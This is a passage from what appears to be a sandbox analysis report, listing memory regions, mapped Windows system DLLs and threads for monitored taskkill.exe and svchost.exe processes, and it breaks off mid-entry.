Region: id = 1078 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1079 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1080 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1081 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1082 start_va = 0xa0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 1083 start_va = 0xe0000 end_va = 0xe3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1084 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1085 start_va = 0x100000 end_va = 0x101fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1086 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1087 start_va = 0xf60000 end_va = 0xf75fff monitored = 0 entry_point = 0xf6de80 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 1088 start_va = 0xf80000 end_va = 0x4f7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f80000" filename = "" Region: id = 1089 start_va = 0x778f0000 end_va = 0x77a6afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1090 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 1091 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1092 start_va = 0x7fff0000 end_va = 0x7dfb28afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1093 start_va = 0x7dfb28b00000 end_va = 0x7ffb28afffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfb28b00000" filename = "" Region: id = 1094 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1095 start_va = 0x7ffb28cc1000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffb28cc1000" filename = "" Region: id = 1096 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 1097 start_va = 0x657b0000 end_va = 0x65829fff monitored = 0 entry_point = 0x657c3290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1098 start_va = 0x65840000 end_va = 0x6588ffff monitored = 0 entry_point = 0x65858180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1099 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1100 start_va = 0x65830000 end_va = 0x65837fff monitored = 0 entry_point = 0x658317c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1101 start_va = 0x550000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1102 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1103 start_va = 0x75e80000 end_va = 0x75ffdfff monitored = 0 entry_point = 0x75f31b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1104 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1105 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 1106 start_va = 0x110000 end_va = 0x1cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1107 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1108 start_va = 0x77820000 end_va = 0x7789afff monitored = 0 entry_point = 0x7783e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1109 start_va = 0x75680000 end_va = 0x7573dfff monitored = 0 entry_point = 0x756b5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1110 start_va = 0x400000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1111 start_va = 0x440000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1112 start_va = 0x75740000 end_va = 0x75783fff monitored = 0 entry_point = 0x75759d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1113 start_va = 0x74b50000 end_va = 0x74bfcfff monitored = 0 entry_point = 0x74b64f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1114 start_va = 0x74620000 end_va = 0x7463dfff monitored = 0 entry_point = 0x7462b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1115 start_va = 0x74610000 end_va = 0x74619fff monitored = 0 entry_point = 0x74612a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1116 start_va = 0x74730000 end_va = 0x74787fff monitored = 0 entry_point = 0x747725c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 1117 start_va = 0x74790000 end_va = 0x748d6fff monitored = 0 entry_point = 0x747a1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1118 start_va = 0x758f0000 end_va = 0x75a3efff monitored = 0 entry_point = 0x759a6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1119 start_va = 0x76150000 end_va = 0x761e1fff monitored = 0 entry_point = 0x76188cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1120 start_va = 0x754b0000 end_va = 0x7566cfff monitored = 0 entry_point = 0x75592a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 1121 start_va = 0x761f0000 end_va = 0x7624efff monitored = 0 entry_point = 0x761f4af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1122 start_va = 0x75790000 end_va = 0x757d4fff monitored = 0 entry_point = 0x757ade90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1123 start_va = 0x6f920000 end_va = 0x6f935fff monitored = 0 entry_point = 0x6f9221d0 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1124 start_va = 0x480000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1125 start_va = 0x4c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1126 start_va = 0x6ffd0000 end_va = 0x6ffd7fff monitored = 0 entry_point = 0x6ffd17b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1127 start_va = 0x6c840000 end_va = 0x6c87efff monitored = 0 entry_point = 0x6c8546c0 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 1128 start_va = 0x6c6e0000 end_va = 0x6c6fbfff monitored = 0 entry_point = 0x6c6e4720 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1129 start_va = 0x500000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 1130 start_va = 0x550000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1131 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1132 start_va = 0x6caf0000 end_va = 0x6caf9fff monitored = 0 entry_point = 0x6caf28d0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 1133 start_va = 0x6c700000 end_va = 0x6c83efff monitored = 0 entry_point = 0x6c72d880 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 1134 start_va = 0x700000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 1135 start_va = 0x1d0000 end_va = 0x1f9fff monitored = 0 entry_point = 0x1d5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1136 start_va = 0x810000 end_va = 0x997fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 1137 start_va = 0x75e50000 end_va = 0x75e7afff monitored = 0 entry_point = 0x75e55680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1138 start_va = 0x9a0000 end_va = 0xb20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 1139 start_va = 0x4f80000 end_va = 0x637ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004f80000" filename = "" Region: id = 1140 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1141 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1142 start_va = 0x1e0000 end_va = 0x1e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 1143 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1144 start_va = 0x590000 end_va = 0x590fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 1145 start_va = 0xb30000 end_va = 0xe66fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1146 start_va = 0x700000 end_va = 0x7e9fff monitored = 0 entry_point = 0x73d650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1147 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1148 start_va = 0x5a0000 end_va = 0x5a3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 1149 start_va = 0x700000 end_va = 0x7dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1150 start_va = 0x757e0000 end_va = 0x757ebfff monitored = 0 entry_point = 0x757e3930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 1151 start_va = 0x5b0000 end_va = 0x5b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 1152 start_va = 0x75860000 end_va = 0x758e3fff monitored = 0 entry_point = 0x75886220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1153 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 1154 start_va = 0x6c6d0000 end_va = 0x6c6dcfff monitored = 0 entry_point = 0x6c6d3520 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 1155 start_va = 0x6c660000 end_va = 0x6c6c6fff monitored = 0 entry_point = 0x6c67b610 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 1156 start_va = 0x742c0000 end_va = 0x742dafff monitored = 0 entry_point = 0x742c9050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 1157 start_va = 0x6c610000 end_va = 0x6c653fff monitored = 0 entry_point = 0x6c62aaf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 1158 start_va = 0xe70000 end_va = 0xeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e70000" filename = "" Region: id = 1159 start_va = 0xeb0000 end_va = 0xeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 1160 start_va = 0xef0000 end_va = 0xf2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 1161 start_va = 0x6380000 end_va = 0x63bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006380000" filename = "" Region: id = 1162 start_va = 0x63c0000 end_va = 0x63fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000063c0000" filename = "" Region: id = 1163 start_va = 0x6400000 end_va = 0x643ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006400000" filename = "" Region: id = 1164 start_va = 0x6c5f0000 end_va = 0x6c600fff monitored = 0 entry_point = 0x6c5f8fa0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 1530 start_va = 0x6c530000 end_va = 0x6c5eefff monitored = 0 entry_point = 0x6c561e80 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 1536 start_va = 0x5d0000 end_va = 0x5d5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Thread: id = 24 os_tid = 0xe24 Thread: id = 25 os_tid = 0x1354 Thread: id = 26 os_tid = 0x13c4 Thread: id = 27 os_tid = 0x13cc Thread: id = 28 os_tid = 0x514 Thread: id = 29 os_tid = 0x3a4 Thread: id = 30 os_tid = 0x1348 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7369f000" os_pid = "0x60" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x218" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cdd2" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1165 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1166 start_va = 0x20000 end_va = 0x21fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1167 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1168 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1169 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1170 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1171 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1172 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1173 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1174 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1175 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1176 start_va = 0x1f0000 end_va = 0x1f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1177 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1178 start_va = 0x400000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1179 start_va = 0x500000 end_va = 0x500fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\System32\\netmsg.dll" (normalized: "c:\\windows\\system32\\netmsg.dll") Region: id = 1180 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 1181 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 1182 start_va = 0x530000 end_va = 0x531fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 1183 start_va = 0x540000 end_va = 0x546fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 1184 start_va = 0x580000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 1185 start_va = 0x640000 end_va = 0x640fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 1186 start_va = 0x650000 end_va = 0x650fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 1187 start_va = 0x660000 end_va = 0x666fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 1188 start_va = 0x670000 end_va = 0x670fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 1189 start_va = 0x680000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 1190 start_va = 0x690000 end_va = 0x690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usocore.dll.mui" filename = "\\Windows\\System32\\en-US\\usocore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\usocore.dll.mui") Region: id = 1191 start_va = 0x6a0000 end_va = 0x6a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 1192 start_va = 0x6b0000 end_va = 0x6b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 1193 start_va = 0x6c0000 end_va = 0x6c3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1194 start_va = 0x6d0000 end_va = 0x6d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1195 start_va = 0x700000 end_va = 0x706fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 1196 start_va = 0x710000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 1197 start_va = 0x7b0000 end_va = 0x7b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 1198 start_va = 0x7d0000 end_va = 0x7d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 1199 start_va = 0x7e0000 end_va = 0x7f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 1200 start_va = 0x800000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1201 start_va = 0x900000 end_va = 0xa87fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 1202 start_va = 0xa90000 end_va = 0xc10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 1203 start_va = 0xc20000 end_va = 0x101afff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c20000" filename = "" Region: id = 1204 start_va = 0x1020000 end_va = 0x109ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 1205 start_va = 0x10a0000 end_va = 0x10e4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db") Region: id = 1206 start_va = 0x1100000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 1207 start_va = 0x1200000 end_va = 0x12fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1208 start_va = 0x1300000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1209 start_va = 0x1400000 end_va = 0x14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 1210 start_va = 0x1500000 end_va = 0x15fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 1211 start_va = 0x1600000 end_va = 0x16fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001600000" filename = "" Region: id = 1212 start_va = 0x1730000 end_va = 0x177efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001730000" filename = "" Region: id = 1213 start_va = 0x17e0000 end_va = 0x17e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 1214 start_va = 0x1800000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 1215 start_va = 0x1900000 end_va = 0x19fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 1216 start_va = 0x1a00000 end_va = 0x1d36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1217 start_va = 0x1d40000 end_va = 0x1e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 1218 start_va = 0x1e40000 end_va = 0x1f1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = 